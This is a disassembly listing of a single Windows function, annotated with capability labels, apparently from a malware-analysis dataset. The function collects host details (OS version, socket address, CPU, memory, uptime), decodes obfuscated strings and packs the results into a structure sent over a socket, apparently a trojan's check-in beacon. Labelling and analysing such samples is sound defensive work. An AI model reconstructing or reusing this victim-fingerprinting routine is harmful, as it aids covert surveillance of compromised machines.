Function at 0x1000c240
Capabilities:
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x648
push ebp
push esi
lea eax, [esp + 0x6c]
push edi
push eax
mov byte [esp + 0x70], 0x66
mov byte [esp + 0x14e], 0
mov dword [esp + 0x74], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0x454]
push pe_nt_image_headers32
push ecx
call fcn.1000b520
mov ebp, dword [esp + 0x664]
xor edx, edx
mov dword [esp + 0x20], edx
add esp, 8
mov dword [esp + 0x1c], edx
lea eax, [esp + 0x14]
mov dword [esp + 0x20], edx
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], edx
mov edx, dword [ebp + 0xa8]
push eax
push ecx
push edx
mov dword [esp + 0x20], 0x10
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x1c]
mov ecx, 0xc
lea esi, [esp + 0x454]
lea edi, [esp + 0x118]
mov dword [esp + 0x114], eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.1000b380
lea ecx, [esp + 0x48]
mov dword [esp + 0x10c], eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edx, dword [esp + 0x5c]
lea eax, [esp + 0x28]
push eax
mov dword [esp + 0x114], edx
mov dword [esp + 0x2c], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [esp + 0x30]
shr ecx, 0x14
mov dword [esp + 0x150], ecx
call fcn.1000b4e0
test eax, eax
mov eax, dword [esp + 0x660]
setne dl
mov byte [esp + 0x14a], dl
mov dword [esp + 0x154], eax
call fcn.1000c190
mov dword [esp + 0x14c], eax
call fcn.1000b5d0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x158]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
imul edi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push edx
lea edx, [esp + 0x3f4]
push 0x1002cc5c
push edx
call esi
mov eax, edi
mov ecx, 0x5265c00
cdq
idiv ecx
mov eax, 0x4a90be59
lea ecx, [esp + 0x398]
mov edi, edx
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x1002cc5c
push ecx
call esi
mov eax, edi
mov ecx, 0x36ee80
cdq
idiv ecx
mov eax, 0x45e7b273
lea ecx, [esp + 0x340]
imul edx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add edx, eax
push edx
push 0x1002cc5c
push ecx
call esi
lea edx, [esp + 0x34c]
lea eax, [esp + 0x3b0]
push edx
lea ecx, [esp + 0x418]
push eax
push ecx
lea edx, [esp + 0x1d8]
push 0x1002d7c4
push edx
call esi
push str.cWU8ZkF2pg
call fcn.1000b330
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x342]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push pe_nt_image_headers32
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [esp + 0x4c], 0x44
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [esp + 0x4d], 0x65
and ecx, 3
mov byte [esp + 0x4e], 0x66
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x594]
mov byte [esp + 0x4f], 0x61
push ecx
mov byte [esp + 0x54], 0x75
mov byte [esp + 0x55], 0x6c
mov byte [esp + 0x56], 0x74
mov byte [esp + 0x57], 0
call fcn.1000c100
add esp, 0x44
test eax, eax
jne 0x1000c4aa
mov edx, str.alJubzdYV42m
test edx, edx
je 0x1000c4a4
push edx
call fcn.1000b330
add esp, 4
jmp 0x1000c4b1
lea eax, [esp + 0xc]
jmp 0x1000c4b1
lea eax, [esp + 0x554]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2d4]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x2bc
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x70]
push ecx
mov ecx, ebp
call fcn.10001af0
pop edi
pop esi
pop ebp
add esp, 0x648
ret